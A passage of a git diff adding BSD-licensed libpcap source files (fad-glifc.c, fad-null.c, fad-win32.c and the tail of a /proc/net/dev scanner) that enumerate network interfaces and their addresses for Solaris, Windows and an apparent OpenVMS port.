int linenum; + unsigned char *p; + char name[512]; /* XXX - pick a size */ + char *q, *saveq; + struct ifreq ifrflags; + int ret = 0; + + proc_net_f = fopen("/proc/net/dev", "r"); + if (proc_net_f == NULL) + return (0); + + for (linenum = 1; + fgets(linebuf, sizeof linebuf, proc_net_f) != NULL; linenum++) { + /* + * Skip the first two lines - they're headers. + */ + if (linenum <= 2) + continue; + + p = &linebuf[0]; + + /* + * Skip leading white space. + */ + while (*p != '\0' && isspace(*p)) + p++; + if (*p == '\0' || *p == '\n') + continue; /* blank line */ + + /* + * Get the interface name. + */ + q = &name[0]; + while (*p != '\0' && !isspace(*p)) { + if (*p == ':') { + /* + * This could be the separator between a + * name and an alias number, or it could be + * the separator between a name with no + * alias number and the next field. + * + * If there's a colon after digits, it + * separates the name and the alias number, + * otherwise it separates the name and the + * next field. + */ + saveq = q; + while (isdigit(*p)) + *q++ = *p++; + if (*p != ':') { + /* + * That was the next field, + * not the alias number. + */ + q = saveq; + } + break; + } else + *q++ = *p++; + } + *q = '\0'; + + /* + * Get the flags for this interface, and skip it if + * it's not up. + */ + strncpy(ifrflags.ifr_name, name, sizeof(ifrflags.ifr_name)); + if (ioctl(fd, SIOCGIFFLAGS, (char *)&ifrflags) < 0) { + if (errno == ENXIO) + continue; + (void)snprintf(errbuf, PCAP_ERRBUF_SIZE, + "SIOCGIFFLAGS: %.*s: %s", + (int)sizeof(ifrflags.ifr_name), + ifrflags.ifr_name, + pcap_strerror(errno)); + ret = -1; + break; + } + if (!(ifrflags.ifr_flags & IFF_UP)) + continue; + + /* + * Add an entry for this interface, with no addresses. + */ + if (pcap_add_if(devlistp, name, ifrflags.ifr_flags, NULL, + errbuf) == -1) { + /* + * Failure. + */ + ret = -1; + break; + } + } + if (ret != -1) { + /* + * Well, we didn't fail for any other reason; did we + * fail due to an error reading the file? + */ + if (ferror(proc_net_f)) { + (void)snprintf(errbuf, PCAP_ERRBUF_SIZE, + "Error reading /proc/net/dev: %s", + pcap_strerror(errno)); + ret = -1; + } + } + + (void)fclose(proc_net_f); + return (ret); +} +#endif /* HAVE_PROC_NET_DEV */ + +/* + * Get a list of all interfaces that are up and that we can open. + * Returns -1 on error, 0 otherwise. + * The list, as returned through "alldevsp", may be null if no interfaces + * were up and could be opened. + * + * This is the implementation used on platforms that have SIOCGIFCONF but + * don't have any other mechanism for getting a list of interfaces. + * + * XXX - or platforms that have other, better mechanisms but for which + * we don't yet have code to use that mechanism; I think there's a better + * way on Linux, for example. + */ +int +pcap_findalldevs(pcap_if_t **alldevsp, char *errbuf) +{ + pcap_if_t *devlist = NULL; +#ifndef VMS + register int fd; + register struct ifreq *ifrp, *ifend, *ifnext; + int n; + struct ifconf ifc; + char *buf = NULL; + unsigned buf_size; + struct ifreq ifrflags, ifrnetmask, ifrbroadaddr, ifrdstaddr; + struct sockaddr *netmask, *broadaddr, *dstaddr; + size_t netmask_size, broadaddr_size, dstaddr_size; +#endif + int ret = 0; + +#ifndef VMS + /* + * Create a socket from which to fetch the list of interfaces. + */ + fd = socket(AF_INET, SOCK_DGRAM, 0); + if (fd < 0) { + (void)snprintf(errbuf, PCAP_ERRBUF_SIZE, + "socket: %s", pcap_strerror(errno)); + return (-1); + } + + /* + * Start with an 8K buffer, and keep growing the buffer until + * we get the entire interface list or fail to get it for some + * reason other than EINVAL (which is presumed here to mean + * "buffer is too small"). + */ + buf_size = 8192; + for (;;) { + buf = malloc(buf_size); + if (buf == NULL) { + (void)snprintf(errbuf, PCAP_ERRBUF_SIZE, + "malloc: %s", pcap_strerror(errno)); + (void)close(fd); + return (-1); + } + + ifc.ifc_len = buf_size; + ifc.ifc_buf = buf; + memset(buf, 0, buf_size); + if (ioctl(fd, SIOCGIFCONF, (char *)&ifc) < 0 + && errno != EINVAL) { + (void)snprintf(errbuf, PCAP_ERRBUF_SIZE, + "SIOCGIFCONF: %s", pcap_strerror(errno)); + (void)close(fd); + free(buf); + return (-1); + } + if (ifc.ifc_len < buf_size) + break; + free(buf); + buf_size *= 2; + } + + ifrp = (struct ifreq *)buf; + ifend = (struct ifreq *)(buf + ifc.ifc_len); + + for (; ifrp < ifend; ifrp = ifnext) { + /* + * XXX - what if this isn't an IPv4 address? Can + * we still get the netmask, etc. with ioctls on + * an IPv4 socket? + * + * The answer is probably platform-dependent, and + * if the answer is "no" on more than one platform, + * the way you work around it is probably platform- + * dependent as well. + */ + n = SA_LEN(&ifrp->ifr_addr) + sizeof(ifrp->ifr_name); + if (n < sizeof(*ifrp)) + ifnext = ifrp + 1; + else + ifnext = (struct ifreq *)((char *)ifrp + n); + + /* + * Get the flags for this interface, and skip it if it's + * not up. + */ + strncpy(ifrflags.ifr_name, ifrp->ifr_name, + sizeof(ifrflags.ifr_name)); + if (ioctl(fd, SIOCGIFFLAGS, (char *)&ifrflags) < 0) { + if (errno == ENXIO) + continue; + (void)snprintf(errbuf, PCAP_ERRBUF_SIZE, + "SIOCGIFFLAGS: %.*s: %s", + (int)sizeof(ifrflags.ifr_name), + ifrflags.ifr_name, + pcap_strerror(errno)); + ret = -1; + break; + } + if (!(ifrflags.ifr_flags & IFF_UP)) + continue; + + /* + * Get the netmask for this address on this interface. + */ + strncpy(ifrnetmask.ifr_name, ifrp->ifr_name, + sizeof(ifrnetmask.ifr_name)); + memcpy(&ifrnetmask.ifr_addr, &ifrp->ifr_addr, + sizeof(ifrnetmask.ifr_addr)); + if (ioctl(fd, SIOCGIFNETMASK, (char *)&ifrnetmask) < 0) { + if (errno == EADDRNOTAVAIL) { + /* + * Not available. + */ + netmask = NULL; + netmask_size = 0; + } else { + (void)snprintf(errbuf, PCAP_ERRBUF_SIZE, + "SIOCGIFNETMASK: %.*s: %s", + (int)sizeof(ifrnetmask.ifr_name), + ifrnetmask.ifr_name, + pcap_strerror(errno)); + ret = -1; + break; + } + } else { + netmask = &ifrnetmask.ifr_addr; + netmask_size = SA_LEN(netmask); + } + + /* + * Get the broadcast address for this address on this + * interface (if any). + */ + if (ifrflags.ifr_flags & IFF_BROADCAST) { + strncpy(ifrbroadaddr.ifr_name, ifrp->ifr_name, + sizeof(ifrbroadaddr.ifr_name)); + memcpy(&ifrbroadaddr.ifr_addr, &ifrp->ifr_addr, + sizeof(ifrbroadaddr.ifr_addr)); + if (ioctl(fd, SIOCGIFBRDADDR, + (char *)&ifrbroadaddr) < 0) { + if (errno == EADDRNOTAVAIL) { + /* + * Not available. + */ + broadaddr = NULL; + broadaddr_size = 0; + } else { + (void)snprintf(errbuf, PCAP_ERRBUF_SIZE, + "SIOCGIFBRDADDR: %.*s: %s", + (int)sizeof(ifrbroadaddr.ifr_name), + ifrbroadaddr.ifr_name, + pcap_strerror(errno)); + ret = -1; + break; + } + } else { + broadaddr = &ifrbroadaddr.ifr_broadaddr; + broadaddr_size = SA_LEN(broadaddr); + } + } else { + /* + * Not a broadcast interface, so no broadcast + * address. + */ + broadaddr = NULL; + broadaddr_size = 0; + } + + /* + * Get the destination address for this address on this + * interface (if any). + */ + if (ifrflags.ifr_flags & IFF_POINTOPOINT) { + strncpy(ifrdstaddr.ifr_name, ifrp->ifr_name, + sizeof(ifrdstaddr.ifr_name)); + memcpy(&ifrdstaddr.ifr_addr, &ifrp->ifr_addr, + sizeof(ifrdstaddr.ifr_addr)); + if (ioctl(fd, SIOCGIFDSTADDR, + (char *)&ifrdstaddr) < 0) { + if (errno == EADDRNOTAVAIL) { + /* + * Not available. + */ + dstaddr = NULL; + dstaddr_size = 0; + } else { + (void)snprintf(errbuf, PCAP_ERRBUF_SIZE, + "SIOCGIFDSTADDR: %.*s: %s", + (int)sizeof(ifrdstaddr.ifr_name), + ifrdstaddr.ifr_name, + pcap_strerror(errno)); + ret = -1; + break; + } + } else { + dstaddr = &ifrdstaddr.ifr_dstaddr; + dstaddr_size = SA_LEN(dstaddr); + } + } else { + /* + * Not a point-to-point interface, so no destination + * address. + */ + dstaddr = NULL; + dstaddr_size = 0; + } + + /* + * Add information for this address to the list. + */ + if (add_addr_to_iflist(&devlist, ifrp->ifr_name, + ifrflags.ifr_flags, &ifrp->ifr_addr, + SA_LEN(&ifrp->ifr_addr), netmask, netmask_size, + broadaddr, broadaddr_size, dstaddr, dstaddr_size, + errbuf) < 0) { + ret = -1; + break; + } + } + free(buf); + +#ifdef HAVE_PROC_NET_DEV + if (ret != -1) { + /* + * We haven't had any errors yet; now read "/proc/net/dev", + * and add to the list of interfaces all interfaces listed + * there that we don't already have, because, on Linux, + * SIOCGIFCONF reports only interfaces with IPv4 addresses, + * so you need to read "/proc/net/dev" to get the names of + * the rest of the interfaces. + */ + ret = scan_proc_net_dev(&devlist, fd, errbuf); + } +#endif + (void)close(fd); +#endif + if (ret != -1) { + /* + * We haven't had any errors yet; do any platform-specific + * operations to add devices. + */ + if (pcap_platform_finddevs(&devlist, errbuf) < 0) + ret = -1; + } + + if (ret == -1) { + /* + * We had an error; free the list we've been constructing. + */ + if (devlist != NULL) { + pcap_freealldevs(devlist); + devlist = NULL; + } + } + + *alldevsp = devlist; + return (ret); +} diff --git a/Pcap-VMS/pcap-vci/fad-glifc.c b/Pcap-VMS/pcap-vci/fad-glifc.c new file mode 100644 index 00000000..be7045e4 --- /dev/null +++ b/Pcap-VMS/pcap-vci/fad-glifc.c @@ -0,0 +1,331 @@ +/* -*- Mode: c; tab-width: 8; indent-tabs-mode: 1; c-basic-offset: 8; -*- */ +/* + * Copyright (c) 1994, 1995, 1996, 1997, 1998 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the Computer Systems + * Engineering Group at Lawrence Berkeley Laboratory. + * 4. Neither the name of the University nor of the Laboratory may be used + * to endorse or promote products derived from this software without + * specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#ifndef lint +static const char rcsid[] = + "@(#) $Header: /tcpdump/master/libpcap/fad-glifc.c,v 1.2 2002/07/30 08:12:13 guy Exp $ (LBL)"; +#endif + +#ifdef HAVE_CONFIG_H +#include "config.h" +#endif + +#ifdef VMS +#include "pcap-vms.h" +#endif + +#ifndef VMS +#include +#endif +#include +#include +#include +#ifdef HAVE_SYS_SOCKIO_H +#include +#endif +#include /* concession to AIX */ + +struct mbuf; /* Squelch compiler warnings on some platforms for */ +struct rtentry; /* declarations in */ +#include +#include + +#include +#include +#include +#include +#include +#include +#include + +#include "pcap-int.h" + +#ifdef HAVE_OS_PROTO_H +#include "os-proto.h" +#endif + +/* + * Get a list of all interfaces that are up and that we can open. + * Returns -1 on error, 0 otherwise. + * The list, as returned through "alldevsp", may be null if no interfaces + * were up and could be opened. + * + * This is the implementation used on platforms that have SIOCLGIFCONF + * but don't have "getifaddrs()". (Solaris 8 and later; we use + * SIOCLGIFCONF rather than SIOCGIFCONF in order to get IPv6 addresses.) + */ +int +pcap_findalldevs(pcap_if_t **alldevsp, char *errbuf) +{ + pcap_if_t *devlist = NULL; + register int fd4, fd6, fd; + register struct lifreq *ifrp, *ifend; + struct lifnum ifn; + struct lifconf ifc; + char *buf = NULL; + unsigned buf_size; + struct lifreq ifrflags, ifrnetmask, ifrbroadaddr, ifrdstaddr; + struct sockaddr *netmask, *broadaddr, *dstaddr; + int ret = 0; + + /* + * Create a socket from which to fetch the list of interfaces, + * and from which to fetch IPv4 information. + */ + fd4 = socket(AF_INET, SOCK_DGRAM, 0); + if (fd4 < 0) { + (void)snprintf(errbuf, PCAP_ERRBUF_SIZE, + "socket: %s", pcap_strerror(errno)); + return (-1); + } + + /* + * Create a socket from which to fetch IPv6 information. + */ + fd6 = socket(AF_INET6, SOCK_DGRAM, 0); + if (fd6 < 0) { + (void)snprintf(errbuf, PCAP_ERRBUF_SIZE, + "socket: %s", pcap_strerror(errno)); + (void)close(fd4); + return (-1); + } + + /* + * How many entries will SIOCGLIFCONF return? + */ + ifn.lifn_family = AF_UNSPEC; + ifn.lifn_flags = 0; + ifn.lifn_count = 0; + if (ioctl(fd4, SIOCGLIFNUM, (char *)&ifn) < 0) { + (void)snprintf(errbuf, PCAP_ERRBUF_SIZE, + "SIOCGLIFNUM: %s", pcap_strerror(errno)); + (void)close(fd6); + (void)close(fd4); + return (-1); + } + + /* + * Allocate a buffer for those entries. + */ + buf_size = ifn.lifn_count * sizeof (struct lifreq); + buf = malloc(buf_size); + if (buf == NULL) { + (void)snprintf(errbuf, PCAP_ERRBUF_SIZE, + "malloc: %s", pcap_strerror(errno)); + (void)close(fd6); + (void)close(fd4); + return (-1); + } + + /* + * Get the entries. + */ + ifc.lifc_len = buf_size; + ifc.lifc_buf = buf; + ifc.lifc_family = AF_UNSPEC; + ifc.lifc_flags = 0; + memset(buf, 0, buf_size); + if (ioctl(fd4, SIOCGLIFCONF, (char *)&ifc) < 0) { + (void)snprintf(errbuf, PCAP_ERRBUF_SIZE, + "SIOCGLIFCONF: %s", pcap_strerror(errno)); + (void)close(fd6); + (void)close(fd4); + free(buf); + return (-1); + } + + /* + * Loop over the entries. + */ + ifrp = (struct lifreq *)buf; + ifend = (struct lifreq *)(buf + ifc.lifc_len); + + for (; ifrp < ifend; ifrp++) { + /* + * IPv6 or not? + */ + if (((struct sockaddr *)&ifrp->lifr_addr)->sa_family == AF_INET6) + fd = fd6; + else + fd = fd4; + + /* + * Get the flags for this interface, and skip it if it's + * not up. + */ + strncpy(ifrflags.lifr_name, ifrp->lifr_name, + sizeof(ifrflags.lifr_name)); + if (ioctl(fd, SIOCGLIFFLAGS, (char *)&ifrflags) < 0) { + if (errno == ENXIO) + continue; + (void)snprintf(errbuf, PCAP_ERRBUF_SIZE, + "SIOCGLIFFLAGS: %.*s: %s", + (int)sizeof(ifrflags.lifr_name), + ifrflags.lifr_name, + pcap_strerror(errno)); + ret = -1; + break; + } + if (!(ifrflags.lifr_flags & IFF_UP)) + continue; + + /* + * Get the netmask for this address on this interface. + */ + strncpy(ifrnetmask.lifr_name, ifrp->lifr_name, + sizeof(ifrnetmask.lifr_name)); + memcpy(&ifrnetmask.lifr_addr, &ifrp->lifr_addr, + sizeof(ifrnetmask.lifr_addr)); + if (ioctl(fd, SIOCGLIFNETMASK, (char *)&ifrnetmask) < 0) { + if (errno == EADDRNOTAVAIL) { + /* + * Not available. + */ + netmask = NULL; + } else { + (void)snprintf(errbuf, PCAP_ERRBUF_SIZE, + "SIOCGLIFNETMASK: %.*s: %s", + (int)sizeof(ifrnetmask.lifr_name), + ifrnetmask.lifr_name, + pcap_strerror(errno)); + ret = -1; + break; + } + } else + netmask = (struct sockaddr *)&ifrnetmask.lifr_addr; + + /* + * Get the broadcast address for this address on this + * interface (if any). + */ + if (ifrflags.lifr_flags & IFF_BROADCAST) { + strncpy(ifrbroadaddr.lifr_name, ifrp->lifr_name, + sizeof(ifrbroadaddr.lifr_name)); + memcpy(&ifrbroadaddr.lifr_addr, &ifrp->lifr_addr, + sizeof(ifrbroadaddr.lifr_addr)); + if (ioctl(fd, SIOCGLIFBRDADDR, + (char *)&ifrbroadaddr) < 0) { + if (errno == EADDRNOTAVAIL) { + /* + * Not available. + */ + broadaddr = NULL; + } else { + (void)snprintf(errbuf, PCAP_ERRBUF_SIZE, + "SIOCGLIFBRDADDR: %.*s: %s", + (int)sizeof(ifrbroadaddr.lifr_name), + ifrbroadaddr.lifr_name, + pcap_strerror(errno)); + ret = -1; + break; + } + } else + broadaddr = (struct sockaddr *)&ifrbroadaddr.lifr_broadaddr; + } else { + /* + * Not a broadcast interface, so no broadcast + * address. + */ + broadaddr = NULL; + } + + /* + * Get the destination address for this address on this + * interface (if any). + */ + if (ifrflags.lifr_flags & IFF_POINTOPOINT) { + strncpy(ifrdstaddr.lifr_name, ifrp->lifr_name, + sizeof(ifrdstaddr.lifr_name)); + memcpy(&ifrdstaddr.lifr_addr, &ifrp->lifr_addr, + sizeof(ifrdstaddr.lifr_addr)); + if (ioctl(fd, SIOCGLIFDSTADDR, + (char *)&ifrdstaddr) < 0) { + if (errno == EADDRNOTAVAIL) { + /* + * Not available. + */ + dstaddr = NULL; + } else { + (void)snprintf(errbuf, PCAP_ERRBUF_SIZE, + "SIOCGLIFDSTADDR: %.*s: %s", + (int)sizeof(ifrdstaddr.lifr_name), + ifrdstaddr.lifr_name, + pcap_strerror(errno)); + ret = -1; + break; + } + } else + dstaddr = (struct sockaddr *)&ifrdstaddr.lifr_dstaddr; + } else + dstaddr = NULL; + + /* + * Add information for this address to the list. + */ + if (add_addr_to_iflist(&devlist, ifrp->lifr_name, + ifrflags.lifr_flags, (struct sockaddr *)&ifrp->lifr_addr, + sizeof (struct sockaddr_storage), + netmask, sizeof (struct sockaddr_storage), + broadaddr, sizeof (struct sockaddr_storage), + dstaddr, sizeof (struct sockaddr_storage), errbuf) < 0) { + ret = -1; + break; + } + } + free(buf); + (void)close(fd6); + (void)close(fd4); + + if (ret != -1) { + /* + * We haven't had any errors yet; do any platform-specific + * operations to add devices. + */ + if (pcap_platform_finddevs(&devlist, errbuf) < 0) + ret = -1; + } + + if (ret == -1) { + /* + * We had an error; free the list we've been constructing. + */ + if (devlist != NULL) { + pcap_freealldevs(devlist); + devlist = NULL; + } + } + + *alldevsp = devlist; + return (ret); +} diff --git a/Pcap-VMS/pcap-vci/fad-null.c b/Pcap-VMS/pcap-vci/fad-null.c new file mode 100644 index 00000000..055ee8cc --- /dev/null +++ b/Pcap-VMS/pcap-vci/fad-null.c @@ -0,0 +1,65 @@ +/* -*- Mode: c; tab-width: 8; indent-tabs-mode: 1; c-basic-offset: 8; -*- */ +/* + * Copyright (c) 1994, 1995, 1996, 1997, 1998 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the Computer Systems + * Engineering Group at Lawrence Berkeley Laboratory. + * 4. Neither the name of the University nor of the Laboratory may be used + * to endorse or promote products derived from this software without + * specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#ifndef lint +static const char rcsid[] = + "@(#) $Header: /tcpdump/master/libpcap/fad-null.c,v 1.1 2002/07/27 18:46:21 guy Exp $ (LBL)"; +#endif + +#ifdef HAVE_CONFIG_H +#include "config.h" +#endif + +#include + +/* + * Get a list of all interfaces that are up and that we can open. + * Returns -1 on error, 0 otherwise. + * The list, as returned through "alldevsp", may be null if no interfaces + * were up and could be opened. + * + * This is the implementation used on platforms that have no support for + * packet capture. + */ +int +pcap_findalldevs(pcap_if_t **alldevsp, char *errbuf) +{ + /* + * Succeed, but don't return any interfaces; we return only those + * we can open, and we can't open any if there's no support + * for packet capture. + */ + *alldevsp = NULL; + return (0); +} diff --git a/Pcap-VMS/pcap-vci/fad-win32.c b/Pcap-VMS/pcap-vci/fad-win32.c new file mode 100644 index 00000000..a7d03dd2 --- /dev/null +++ b/Pcap-VMS/pcap-vci/fad-win32.c @@ -0,0 +1,371 @@ +/* + * Copyright (c) 1999, 2002 + * Politecnico di Torino. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the Politecnico + * di Torino, and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + */ + +#ifndef lint +static const char rcsid[] = + "@(#) $Header: /tcpdump/master/libpcap/fad-win32.c,v 1.4 2002/08/08 09:15:57 guy Exp $ (LBL)"; +#endif + +#ifdef HAVE_CONFIG_H +#include "config.h" +#endif + +#include +#include + +#include + +#ifndef SA_LEN +#ifdef HAVE_SOCKADDR_SA_LEN +#define SA_LEN(addr) ((addr)->sa_len) +#else /* HAVE_SOCKADDR_SA_LEN */ +#define SA_LEN(addr) (sizeof (struct sockaddr)) +#endif /* HAVE_SOCKADDR_SA_LEN */ +#endif /* SA_LEN */ + +/* + * Add an entry to the list of addresses for an interface. + * "curdev" is the entry for that interface. + */ +static int +add_addr_to_list(pcap_if_t *curdev, struct sockaddr *addr, + struct sockaddr *netmask, struct sockaddr *broadaddr, + struct sockaddr *dstaddr, char *errbuf) +{ + pcap_addr_t *curaddr, *prevaddr, *nextaddr; + + /* + * Allocate the new entry and fill it in. + */ + curaddr = (pcap_addr_t*)malloc(sizeof(pcap_addr_t)); + if (curaddr == NULL) { + (void)snprintf(errbuf, PCAP_ERRBUF_SIZE, + "malloc: %s", pcap_strerror(errno)); + return (-1); + } + + curaddr->next = NULL; + if (addr != NULL) { + curaddr->addr = (struct sockaddr*)dup_sockaddr(addr, SA_LEN(addr)); + if (curaddr->addr == NULL) { + (void)snprintf(errbuf, PCAP_ERRBUF_SIZE, + "malloc: %s", pcap_strerror(errno)); + free(curaddr); + return (-1); + } + } else + curaddr->addr = NULL; + + if (netmask != NULL) { + curaddr->netmask = (struct sockaddr*)dup_sockaddr(netmask, SA_LEN(netmask)); + if (curaddr->netmask == NULL) { + (void)snprintf(errbuf, PCAP_ERRBUF_SIZE, + "malloc: %s", pcap_strerror(errno)); + free(curaddr); + return (-1); + } + } else + curaddr->netmask = NULL; + + if (broadaddr != NULL) { + curaddr->broadaddr = (struct sockaddr*)dup_sockaddr(broadaddr, SA_LEN(broadaddr)); + if (curaddr->broadaddr == NULL) { + (void)snprintf(errbuf, PCAP_ERRBUF_SIZE, + "malloc: %s", pcap_strerror(errno)); + free(curaddr); + return (-1); + } + } else + curaddr->broadaddr = NULL; + + if (dstaddr != NULL) { + curaddr->dstaddr = (struct sockaddr*)dup_sockaddr(dstaddr, SA_LEN(dstaddr)); + if (curaddr->dstaddr == NULL) { + (void)snprintf(errbuf, PCAP_ERRBUF_SIZE, + "malloc: %s", pcap_strerror(errno)); + free(curaddr); + return (-1); + } + } else + curaddr->dstaddr = NULL; + + /* + * Find the end of the list of addresses. + */ + for (prevaddr = curdev->addresses; prevaddr != NULL; prevaddr = nextaddr) { + nextaddr = prevaddr->next; + if (nextaddr == NULL) { + /* + * This is the end of the list. + */ + break; + } + } + + if (prevaddr == NULL) { + /* + * The list was empty; this is the first member. + */ + curdev->addresses = curaddr; + } else { + /* + * "prevaddr" is the last member of the list; append + * this member to it. + */ + prevaddr->next = curaddr; + } + + return (0); +} + + +static int +pcap_add_if_win32(pcap_if_t **devlist, char *name, const char *desc, + char *errbuf) +{ + pcap_if_t *curdev; + npf_if_addr if_addrs[16]; + LONG if_addr_size; + int res = 0; + struct sockaddr_in *addr, *netmask; + + if_addr_size = 16; + + /* + * Add an entry for this interface, with no addresses. + */ + if (add_or_find_if(&curdev, devlist, (char *)name, 0, (char *)desc, + errbuf) == -1) { + /* + * Failure. + */ + return (-1); + } + + /* + * Get the list of addresses for the interface. + * + * XXX - what about IPv6? + */ + if (!PacketGetNetInfoEx((void *)name, if_addrs, &if_addr_size)) { + /* + * Failure. + * + * We don't return an error, because this can happen with + * NdisWan interfaces, and we want to supply them even + * if we can't supply their addresses. + * + * We return an entry with an empty address list. + */ + return (0); + } + + /* + * Now add the addresses. + */ + while (if_addr_size-- > 0) { + /* + * "curdev" is an entry for this interface; add an entry for + * this address to its list of addresses. + */ + if(curdev == NULL) + break; + res = add_addr_to_list(curdev, + (struct sockaddr *)&if_addrs[if_addr_size].IPAddress, + (struct sockaddr *)&if_addrs[if_addr_size].SubnetMask, + (struct sockaddr *)&if_addrs[if_addr_size].Broadcast, + NULL, + errbuf); + if (res == -1) { + /* + * Failure. + */ + break; + } + } + + return (res); +} + + +/* + * Get a list of all interfaces that are up and that we can open. + * Returns -1 on error, 0 otherwise. + * The list, as returned through "alldevsp", may be null if no interfaces + * were up and could be opened. + * + * Win32 implementation, based on WinPcap + */ +int +pcap_findalldevs(pcap_if_t **alldevsp, char *errbuf) +{ + pcap_if_t *devlist = NULL; + DWORD dwVersion; + DWORD dwWindowsMajorVersion; + int ret = 0; + const char *desc; + + dwVersion = GetVersion(); /* get the OS version */ + dwWindowsMajorVersion = (DWORD)(LOBYTE(LOWORD(dwVersion))); + if (dwVersion >= 0x80000000 && dwWindowsMajorVersion >= 4) { + /* + * Windows 95, 98, ME. + */ + char AdaptersName[8192]; + ULONG NameLength = 8192; + char *name; + + if (!PacketGetAdapterNames(AdaptersName, &NameLength)) { + snprintf(errbuf, PCAP_ERRBUF_SIZE, + "PacketGetAdapterNames: %s", + pcap_win32strerror()); + return (-1); + } + + /* + * "PacketGetAdapterNames()" returned a list of + * null-terminated ASCII interface name strings, + * terminated by a null string, followed by a list + * of null-terminated ASCII interface description + * strings, terminated by a null string. + * This means there are two ASCII nulls at the end + * of the first list. + * + * Find the end of the first list; that's the + * beginning of the second list. + */ + desc = &AdaptersName[0]; + while (*desc != '\0' || *(desc + 1) != '\0') + desc++; + + /* + * Found it - "desc" points to the first of the two + * nulls at the end of the list of names, so the + * first byte of the list of descriptions is two bytes + * after it. + */ + desc += 2; + + /* + * Loop over the elements in the first list. + */ + name = &AdaptersName[0]; + while (*name != '\0') { + /* + * Add an entry for this interface. + */ + if (pcap_add_if_win32(&devlist, name, desc, + errbuf) == -1) { + /* + * Failure. + */ + ret = -1; + break; + } + name += strlen(name) + 1; + desc += strlen(desc) + 1; + } + } else { + /* + * Windows NT (NT 4.0, W2K, WXP). + */ + WCHAR AdaptersName[8192]; + ULONG NameLength = 8192; + const WCHAR *t; + WCHAR *uc_name; + char ascii_name[8192]; + char ascii_desc[8192]; + char *p; + + if (!PacketGetAdapterNames((PTSTR)AdaptersName, &NameLength)) { + snprintf(errbuf, PCAP_ERRBUF_SIZE, + "PacketGetAdapterNames: %s", + pcap_win32strerror()); + return (-1); + } + + /* + * "PacketGetAdapterNames()" returned a list of + * null-terminated Unicode interface name strings, + * terminated by a null string, followed by a list + * of null-terminated ASCII interface description + * strings, terminated by a null string. + * This means there are two Unicode nulls at the end + * of the first list. + * + * Find the end of the first list; that's the + * beginning of the second list. + */ + t = &AdaptersName[0]; + while (*t != '\0' || *(t + 1) != '\0') + t++; + + /* + * Found it - "t" points to the first of the two + * nulls at the end of the list of names, so the + * first byte of the list of descriptions is two wide + * characters after it. + */ + t += 2; + desc = (const char *)t; + + /* + * Loop over the elements in the first list. + * + * We assume all characters in the name string are valid + * ASCII characters. + */ + uc_name = &AdaptersName[0]; + while (*uc_name != '\0') { + p = ascii_name; + while ((*p++ = (char)*uc_name++) != '\0') + ; + p = ascii_desc; + while ((*p++ = *desc++) != '\0') + ; + + /* + * Add an entry for this interface. + */ + if (pcap_add_if_win32(&devlist, ascii_name, + ascii_desc, errbuf) == -1) { + /* + * Failure. + */ + ret = -1; + break; + } + } + } + + if (ret == -1) { + /* + * We had an error; free the list we've been constructing. + */ + if (devlist != NULL) { + pcap_freealldevs(devlist); + devlist = NULL; + } + } + + *alldevsp = devlist; + return (ret); +} diff --git 